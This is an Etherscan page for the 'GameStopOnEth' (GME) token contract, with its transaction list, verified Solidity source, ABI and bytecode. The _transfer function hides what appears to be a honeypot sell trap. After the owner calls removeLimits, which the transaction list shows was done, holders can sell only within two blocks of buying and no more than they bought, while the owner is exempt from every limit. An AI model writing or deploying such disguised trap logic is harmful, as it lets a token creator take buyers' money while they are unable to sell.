ETH Price: $3,331.16 (-1.23%)

Contract

0xe8073E400e17186EFD2911AfA2310071c81F3D77
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer200309932024-06-06 6:27:23224 days ago1717655243IN
0xe8073E40...1c81F3D77
0 ETH0.000753213.03760294
Approve200271662024-06-05 17:37:23225 days ago1717609043IN
0xe8073E40...1c81F3D77
0 ETH0.0016498935.4397527
Approve200271632024-06-05 17:36:47225 days ago1717609007IN
0xe8073E40...1c81F3D77
0 ETH0.0016753135.98569887
Approve200271612024-06-05 17:36:23225 days ago1717608983IN
0xe8073E40...1c81F3D77
0 ETH0.0017386937.34709059
Remove Limits200271472024-06-05 17:33:35225 days ago1717608815IN
0xe8073E40...1c81F3D77
0 ETH0.0008902325.95220294
Approve200271452024-06-05 17:33:11225 days ago1717608791IN
0xe8073E40...1c81F3D77
0 ETH0.0010416522.37474475
Approve200271382024-06-05 17:31:47225 days ago1717608707IN
0xe8073E40...1c81F3D77
0 ETH0.0010659722.89701603
Enable Trading200271372024-06-05 17:31:35225 days ago1717608695IN
0xe8073E40...1c81F3D77
0 ETH0.0017874818.4144067
Approve200269772024-06-05 16:59:35225 days ago1717606775IN
0xe8073E40...1c81F3D77
0 ETH0.0009590720.73985828

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GameStopOnEth

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-06-05
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
    bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;

    /// @notice The identifying key of the pool
    struct PoolKey {
        address token0;
        address token1;
        uint24 fee;
    }

    /// @notice Returns PoolKey: the ordered tokens with the matched fee levels
    /// @param tokenA The first token of a pool, unsorted
    /// @param tokenB The second token of a pool, unsorted
    /// @param fee The fee level of the pool
    /// @return Poolkey The pool details with ordered token0 and token1 assignments
    function getPoolKey(
        address tokenA,
        address tokenB,
        uint24 fee
    ) internal pure returns (PoolKey memory) {
        if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
        return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
    }

    /// @notice Deterministically computes the pool address given the factory and PoolKey
    /// @param factory The Uniswap V3 factory contract address
    /// @param key The PoolKey
    /// @return pool The contract address of the V3 pool
    function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
        require(key.token0 < key.token1);
        pool = address(uint160(uint256(keccak256(
                abi.encodePacked(
                    hex'ff',
                    factory,
                    keccak256(abi.encode(key.token0, key.token1, key.fee)),
                    POOL_INIT_CODE_HASH
                )))));
    }
}

interface IPeripheryImmutableState {
    /// @return Returns the address of the Uniswap V3 factory
    function factory() external view returns (address);

    /// @return Returns the address of WETH9
    function WETH9() external view returns (address);
}

contract GameStopOnEth is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
    string private constant _name = unicode"GameStop On Eth";
    string private constant _symbol = unicode"GME";
    uint256 private maxTxAmount =  _tTotal * 5 / 100;
    uint256 private maxWalletAmount = _tTotal * 5 / 100;

    IPeripheryImmutableState private uniswapV3Router;
    address private uniswapV3Pair;
    address private router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
    address private universalRouter = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private positionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;

    mapping (address => bool) private isExcludedFromLimits;
    mapping (address => uint256) private lastBuyBlocks;
    mapping (address => uint256) private lastBuyAmounts;

    constructor() {
        _balances[owner()] = _tTotal;
        isExcludedFromLimits[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        tradingEnabled = true;
        uniswapV3Router = IPeripheryImmutableState(router);
        uniswapV3Pair = PoolAddress.computeAddress(uniswapV3Router.factory(), PoolAddress.getPoolKey(address(this), uniswapV3Router.WETH9(), 10000));
        require(uniswapV3Pair != address(0), "Invalid pair address");
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");

        if (!tradingEnabled) {
            require(from == owner(), "Trading not enabled");
        }

        if (isExcludedFromLimits[from] || isExcludedFromLimits[to]) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == uniswapV3Pair && maxTxAmount == totalSupply()) {
            require(block.number < lastBuyBlocks[from] + 2 && amount <= lastBuyAmounts[from], "Tx amount limit");
            lastBuyAmounts[from] -= amount;
        }

        if ((from == uniswapV3Pair && to != positionManager) || from == universalRouter) {
            require(amount <= maxTxAmount, "Tx amount limit");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit");
            lastBuyBlocks[to] = block.number;
            lastBuyAmounts[to] = amount;
        }

        _superTransfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a61031c565b610020906305f5e100610331565b61002b906005610331565b6100359190610348565b60045560646100466009600a61031c565b610054906305f5e100610331565b61005f906005610331565b6100699190610348565b600555600880546001600160a01b031990811673e592427a0aece92de3edee1f18e0157c0586156417909155600980548216733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad179055600a805490911673c36442b4a4522e871399cd717abdd847ab11fe881790553480156100dd575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35061012a6009600a61031c565b610138906305f5e100610331565b60015f61014c5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f20819055506001600b5f61018261021560201b60201c565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556101ba5f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101f16009600a61031c565b6101ff906305f5e100610331565b60405190815260200160405180910390a3610367565b5f546001600160a01b031690565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102725780850481111561025657610256610223565b600184161561026457908102905b60019390931c92800261023b565b935093915050565b5f8261028857506001610316565b8161029457505f610316565b81600181146102aa57600281146102b4576102d0565b6001915050610316565b60ff8411156102c5576102c5610223565b50506001821b610316565b5060208310610133831016604e8410600b84101617156102f3575081810a610316565b6102ff5f198484610237565b805f190482111561031257610312610223565b0290505b92915050565b5f61032a60ff84168361027a565b9392505050565b808202811582820484141761031657610316610223565b5f8261036257634e487b7160e01b5f52601260045260245ffd5b500490565b610ed9806103745f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c5780638da5cb5b116100575780638da5cb5b1461021357806395d89b4114610239578063a9059cbb14610264578063dd62ed3e14610283575f80fd5b8063715018a6146101d5578063751039fc146101eb5780638a8c523c146101ff575f80fd5b806306fdde03146100cd578063095ea7b31461011657806318160ddd1461014557806323b872dd14610167578063313ce5671461018657806370a08231146101a1575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600f81526e08ec2dacaa6e8dee0409edc408ae8d608b1b60208201525b60405161010d9190610c04565b60405180910390f35b348015610121575f80fd5b50610135610130366004610c50565b6102c7565b604051901515815260200161010d565b348015610150575f80fd5b506101596102dd565b60405190815260200161010d565b348015610172575f80fd5b50610135610181366004610c7a565b6102fd565b348015610191575f80fd5b506040516009815260200161010d565b3480156101ac575f80fd5b506101596101bb366004610cb8565b6001600160a01b03165f9081526001602052604090205490565b3480156101e0575f80fd5b506101e961034d565b005b3480156101f6575f80fd5b506101e96103c7565b34801561020a575f80fd5b506101e9610408565b34801561021e575f80fd5b505f546040516001600160a01b03909116815260200161010d565b348015610244575f80fd5b50604080518082019091526003815262474d4560e81b6020820152610100565b34801561026f575f80fd5b5061013561027e366004610c50565b6105ee565b34801561028e575f80fd5b5061015961029d366004610cda565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d33384846105fa565b5060015b92915050565b5f6102ea6009600a610e08565b6102f8906305f5e100610e16565b905090565b5f61030984848461071e565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461034391869161033e908690610e2d565b6105fa565b5060019392505050565b5f546001600160a01b0316331461037f5760405162461bcd60e51b815260040161037690610e40565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103f05760405162461bcd60e51b815260040161037690610e40565b6103f86102dd565b6004556104036102dd565b600555565b5f546001600160a01b031633146104315760405162461bcd60e51b815260040161037690610e40565b60035460ff16156104765760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610376565b6003805460ff19166001179055600854600680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905161058a929163c45a01559160048083019260209291908290030181865afa1580156104e1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105059190610e75565b6105853060065f9054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610559573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057d9190610e75565b612710610a15565b610a7f565b600780546001600160a01b0319166001600160a01b039290921691821790556105ec5760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b6044820152606401610376565b565b5f6102d333848461071e565b6001600160a01b03831661065c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610376565b6001600160a01b0382166106bd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610376565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f811161075b5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610376565b60035460ff166107b7575f546001600160a01b038481169116146107b75760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610376565b6001600160a01b0383165f908152600b602052604090205460ff16806107f457506001600160a01b0382165f908152600b602052604090205460ff165b1561080957610804838383610b65565b505050565b6007546001600160a01b03838116911614801561082e57506108296102dd565b600454145b156108e6576001600160a01b0383165f908152600c6020526040902054610856906002610e90565b4310801561087b57506001600160a01b0383165f908152600d60205260409020548111155b6108b95760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610376565b6001600160a01b0383165f908152600d6020526040812080548392906108e0908490610e2d565b90915550505b6007546001600160a01b0384811691161480156109115750600a546001600160a01b03838116911614155b8061092957506009546001600160a01b038481169116145b15610a0a576004548111156109725760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610376565b60055481610994846001600160a01b03165f9081526001602052604090205490565b61099e9190610e90565b11156109e25760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b6044820152606401610376565b6001600160a01b0382165f908152600c60209081526040808320439055600d90915290208190555b610804838383610b65565b604080516060810182525f8082526020820181905291810191909152826001600160a01b0316846001600160a01b03161115610a4f579192915b50604080516060810182526001600160a01b03948516815292909316602083015262ffffff169181019190915290565b5f81602001516001600160a01b0316825f01516001600160a01b031610610aa4575f80fd5b815160208084015160408086015181516001600160a01b0395861681860152949092168482015262ffffff90911660608085019190915281518085038201815260808501909252815191909201206001600160f81b031960a08401529085901b6bffffffffffffffffffffffff191660a183015260b58201527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460d582015260f50160408051601f1981840301815291905280516020909101209392505050565b6001600160a01b0383165f9081526001602052604081208054839290610b8c908490610e2d565b90915550506001600160a01b0382165f9081526001602052604081208054839290610bb8908490610e90565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161071191815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c4d575f80fd5b50565b5f8060408385031215610c61575f80fd5b8235610c6c81610c39565b946020939093013593505050565b5f805f60608486031215610c8c575f80fd5b8335610c9781610c39565b92506020840135610ca781610c39565b929592945050506040919091013590565b5f60208284031215610cc8575f80fd5b8135610cd381610c39565b9392505050565b5f8060408385031215610ceb575f80fd5b8235610cf681610c39565b91506020830135610d0681610c39565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610d6057808504811115610d4457610d44610d11565b6001841615610d5257908102905b60019390931c928002610d29565b935093915050565b5f82610d76575060016102d7565b81610d8257505f6102d7565b8160018114610d985760028114610da257610dbe565b60019150506102d7565b60ff841115610db357610db3610d11565b50506001821b6102d7565b5060208310610133831016604e8410600b8410161715610de1575081810a6102d7565b610ded5f198484610d25565b805f1904821115610e0057610e00610d11565b029392505050565b5f610cd360ff841683610d68565b80820281158282048414176102d7576102d7610d11565b818103818111156102d7576102d7610d11565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215610e85575f80fd5b8151610cd381610c39565b808201808211156102d7576102d7610d1156fea264697066735822122008a4d8a55d84d069402d2fe1628c285199ededed33ab023cf5090af49c1d224a64736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c8063715018a61161007c5780638da5cb5b116100575780638da5cb5b1461021357806395d89b4114610239578063a9059cbb14610264578063dd62ed3e14610283575f80fd5b8063715018a6146101d5578063751039fc146101eb5780638a8c523c146101ff575f80fd5b806306fdde03146100cd578063095ea7b31461011657806318160ddd1461014557806323b872dd14610167578063313ce5671461018657806370a08231146101a1575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600f81526e08ec2dacaa6e8dee0409edc408ae8d608b1b60208201525b60405161010d9190610c04565b60405180910390f35b348015610121575f80fd5b50610135610130366004610c50565b6102c7565b604051901515815260200161010d565b348015610150575f80fd5b506101596102dd565b60405190815260200161010d565b348015610172575f80fd5b50610135610181366004610c7a565b6102fd565b348015610191575f80fd5b506040516009815260200161010d565b3480156101ac575f80fd5b506101596101bb366004610cb8565b6001600160a01b03165f9081526001602052604090205490565b3480156101e0575f80fd5b506101e961034d565b005b3480156101f6575f80fd5b506101e96103c7565b34801561020a575f80fd5b506101e9610408565b34801561021e575f80fd5b505f546040516001600160a01b03909116815260200161010d565b348015610244575f80fd5b50604080518082019091526003815262474d4560e81b6020820152610100565b34801561026f575f80fd5b5061013561027e366004610c50565b6105ee565b34801561028e575f80fd5b5061015961029d366004610cda565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d33384846105fa565b5060015b92915050565b5f6102ea6009600a610e08565b6102f8906305f5e100610e16565b905090565b5f61030984848461071e565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461034391869161033e908690610e2d565b6105fa565b5060019392505050565b5f546001600160a01b0316331461037f5760405162461bcd60e51b815260040161037690610e40565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103f05760405162461bcd60e51b815260040161037690610e40565b6103f86102dd565b6004556104036102dd565b600555565b5f546001600160a01b031633146104315760405162461bcd60e51b815260040161037690610e40565b60035460ff16156104765760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610376565b6003805460ff19166001179055600854600680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905161058a929163c45a01559160048083019260209291908290030181865afa1580156104e1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105059190610e75565b6105853060065f9054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610559573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057d9190610e75565b612710610a15565b610a7f565b600780546001600160a01b0319166001600160a01b039290921691821790556105ec5760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b6044820152606401610376565b565b5f6102d333848461071e565b6001600160a01b03831661065c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610376565b6001600160a01b0382166106bd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610376565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f811161075b5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610376565b60035460ff166107b7575f546001600160a01b038481169116146107b75760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610376565b6001600160a01b0383165f908152600b602052604090205460ff16806107f457506001600160a01b0382165f908152600b602052604090205460ff165b1561080957610804838383610b65565b505050565b6007546001600160a01b03838116911614801561082e57506108296102dd565b600454145b156108e6576001600160a01b0383165f908152600c6020526040902054610856906002610e90565b4310801561087b57506001600160a01b0383165f908152600d60205260409020548111155b6108b95760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610376565b6001600160a01b0383165f908152600d6020526040812080548392906108e0908490610e2d565b90915550505b6007546001600160a01b0384811691161480156109115750600a546001600160a01b03838116911614155b8061092957506009546001600160a01b038481169116145b15610a0a576004548111156109725760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610376565b60055481610994846001600160a01b03165f9081526001602052604090205490565b61099e9190610e90565b11156109e25760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b6044820152606401610376565b6001600160a01b0382165f908152600c60209081526040808320439055600d90915290208190555b610804838383610b65565b604080516060810182525f8082526020820181905291810191909152826001600160a01b0316846001600160a01b03161115610a4f579192915b50604080516060810182526001600160a01b03948516815292909316602083015262ffffff169181019190915290565b5f81602001516001600160a01b0316825f01516001600160a01b031610610aa4575f80fd5b815160208084015160408086015181516001600160a01b0395861681860152949092168482015262ffffff90911660608085019190915281518085038201815260808501909252815191909201206001600160f81b031960a08401529085901b6bffffffffffffffffffffffff191660a183015260b58201527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460d582015260f50160408051601f1981840301815291905280516020909101209392505050565b6001600160a01b0383165f9081526001602052604081208054839290610b8c908490610e2d565b90915550506001600160a01b0382165f9081526001602052604081208054839290610bb8908490610e90565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161071191815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c4d575f80fd5b50565b5f8060408385031215610c61575f80fd5b8235610c6c81610c39565b946020939093013593505050565b5f805f60608486031215610c8c575f80fd5b8335610c9781610c39565b92506020840135610ca781610c39565b929592945050506040919091013590565b5f60208284031215610cc8575f80fd5b8135610cd381610c39565b9392505050565b5f8060408385031215610ceb575f80fd5b8235610cf681610c39565b91506020830135610d0681610c39565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610d6057808504811115610d4457610d44610d11565b6001841615610d5257908102905b60019390931c928002610d29565b935093915050565b5f82610d76575060016102d7565b81610d8257505f6102d7565b8160018114610d985760028114610da257610dbe565b60019150506102d7565b60ff841115610db357610db3610d11565b50506001821b6102d7565b5060208310610133831016604e8410600b8410161715610de1575081810a6102d7565b610ded5f198484610d25565b805f1904821115610e0057610e00610d11565b029392505050565b5f610cd360ff841683610d68565b80820281158282048414176102d7576102d7610d11565b818103818111156102d7576102d7610d11565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215610e85575f80fd5b8151610cd381610c39565b808201808211156102d7576102d7610d1156fea264697066735822122008a4d8a55d84d069402d2fe1628c285199ededed33ab023cf5090af49c1d224a64736f6c634300081a0033

Deployed Bytecode Sourcemap

3744:4711:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5037:83;;;;;;;;;;-1:-1:-1;5107:5:0;;;;;;;;;;;;-1:-1:-1;;;5107:5:0;;;;5037:83;;;;;;;:::i;:::-;;;;;;;;5870:161;;;;;;;;;;-1:-1:-1;5870:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;5870:161:0;945:187:1;5314:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;5314:95:0;1137:177:1;6039:266:0;;;;;;;;;;-1:-1:-1;6039:266:0;;;;;:::i;:::-;;:::i;5223:83::-;;;;;;;;;;-1:-1:-1;5223:83:0;;4009:1;1974:36:1;;1962:2;1947:18;5223:83:0;1832:184:1;5417:119:0;;;;;;;;;;-1:-1:-1;5417:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5510:18:0;5483:7;5510:18;;;:9;:18;;;;;;;5417:119;732:148;;;;;;;;;;;;;:::i;:::-;;7085:131;;;;;;;;;;;;;:::i;6656:421::-;;;;;;;;;;;;;:::i;518:79::-;;;;;;;;;;-1:-1:-1;556:7:0;583:6;518:79;;-1:-1:-1;;;;;583:6:0;;;2419:51:1;;2407:2;2392:18;518:79:0;2273:203:1;5128:87:0;;;;;;;;;;-1:-1:-1;5200:7:0;;;;;;;;;;;;-1:-1:-1;;;5200:7:0;;;;5128:87;;5544:167;;;;;;;;;;-1:-1:-1;5544:167:0;;;;;:::i;:::-;;:::i;5719:143::-;;;;;;;;;;-1:-1:-1;5719:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5827:18:0;;;5800:7;5827:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5719:143;5870:161;5945:4;5962:39;175:10;5985:7;5994:6;5962:8;:39::i;:::-;-1:-1:-1;6019:4:0;5870:161;;;;;:::o;5314:95::-;5367:7;4064:15;4009:1;4064:2;:15;:::i;:::-;4052:27;;:9;:27;:::i;:::-;5387:14;;5314:95;:::o;6039:266::-;6137:4;6154:36;6164:6;6172:9;6183:6;6154:9;:36::i;:::-;-1:-1:-1;;;;;6232:19:0;;;;;;:11;:19;;;;;;;;175:10;6232:33;;;;;;;;;6201:74;;6210:6;;6232:42;;6268:6;;6232:42;:::i;:::-;6201:8;:74::i;:::-;-1:-1:-1;6293:4:0;6039:266;;;;;:::o;732:148::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;;;;;;;;;839:1:::1;823:6:::0;;802:40:::1;::::0;-1:-1:-1;;;;;823:6:0;;::::1;::::0;802:40:::1;::::0;839:1;;802:40:::1;870:1;853:19:::0;;-1:-1:-1;;;;;;853:19:0::1;::::0;;732:148::o;7085:131::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;7153:13:::1;:11;:13::i;:::-;7139:11;:27:::0;7195:13:::1;:11;:13::i;:::-;7177:15;:31:::0;7085:131::o;6656:421::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;6720:14:::1;::::0;::::1;;6719:15;6711:43;;;::::0;-1:-1:-1;;;6711:43:0;;5307:2:1;6711:43:0::1;::::0;::::1;5289:21:1::0;5346:2;5326:18;;;5319:30;-1:-1:-1;;;5365:18:1;;;5358:45;5420:18;;6711:43:0::1;5105:339:1::0;6711